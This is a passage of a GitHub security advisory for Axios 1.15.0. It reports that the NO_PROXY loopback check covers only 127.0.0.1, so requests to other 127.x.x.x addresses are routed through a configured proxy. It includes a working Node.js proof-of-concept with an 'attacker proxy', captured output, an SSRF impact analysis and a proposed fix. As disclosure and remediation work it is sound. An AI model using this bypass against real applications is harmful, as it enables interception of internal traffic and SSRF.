  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED

05_poc_execution_bypass_confirmed

3.3 Analysis of Results The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|

Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

  • Retrieve temporary IAM credentials
  • Access environment variables containing secrets
  • Enumerate internal service configurations
  • Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service Type Exposed Data
Admin panels / dashboards User data, configuration, logs
Internal APIs Business logic, database contents
Secret managers / vaults API keys, tokens, certificates
Health check endpoints Infrastructure topology
Development services Source code, environment variables

Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service Type Exposed Data Exposed Data
Attack method Use localhost. or [::1] Use any 127.x.x.x ≠ 127.0.0.1
Patch status Fixed in 1.15.0 Not fixed in 1.15.0
CVSS score 9.3 Critical 9.9 Critical or (equivalent)
Attacker effort Trivial Trivial
Detection by developer None None
Impact SSRF / proxy bypass SSRF / proxy bypass (identical)

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);

This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1

Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
  // Named loopback hostname
  if (host === 'localhost') return true;
  // IPv6 loopback address
  if (host === '::1') return true;
  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
  // Matches any address from 127.0.0.0 through 127.255.255.254
  const parts = host.split('.');
  return (
    parts.length === 4 &&
    parts[0] === '127' &&
    parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
  );
};

5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+   if (host === 'localhost') return true;
+   if (host === '::1') return true;
+   const parts = host.split('.');
+   return (
+     parts.length === 4 &&
+     parts[0] === '127' &&
+     parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+   );
+ };

All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
 A datagram sent by a higher-level protocol to a loopback
 address MUST NOT appear on any network."
Current fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.

# Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
# Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms

04_linux_loopback_subnet_proof

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

06_ping_127 0 0 2_loopback_confirmed

Reason 4 — The Proposed Fix Has Zero Performance Impact The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

  1. Two direct string comparisons ('localhost', '::1') — O(1)
  2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:

  • The parseNoProxyEntry() function
  • The normalizeNoProxyHost() function
  • The shouldBypassProxy() main function logic
  • Any other file in the codebase

This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1'      // Full notation of ::1
'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback
'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback

Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:20:58Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "HIGH"
  },
  "details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy \u0026\u0026 proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY    \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n  \"[::1]\"     === \"::1\"         \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n  if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n  return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1  \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets \u2192 skip\n//          No trailing dot \u2192 skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n//  Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  \u2192 false\nisLoopback(\"127.0.0.2\")                      \u2192 false  \u2190 Set.has() returns false\n                                                          BYPASS starts here\n//  Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n//  Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker\u0027s proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n  console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === \u0027proxied\u0027) {\n      console.log(\u0027    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED\u0027);\n    } else {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 Safe, no proxy used\u0027);\n    }\n  } catch (err) {\n    if (err.code === \u0027ECONNREFUSED\u0027) {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n    }\n  }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n  // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n  console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n  await test(\u0027http://localhost:9191/secret\u0027);\n  await test(\u0027http://localhost.:9191/secret\u0027);\n  await test(\u0027http://[::1]:9191/secret\u0027);\n  // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n  console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n  await test(\u0027http://127.0.0.2:9191/secret\u0027);\n  await test(\u0027http://127.0.0.100:9191/secret\u0027);\n  await test(\u0027http://127.1.2.3:9191/secret\u0027);\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to 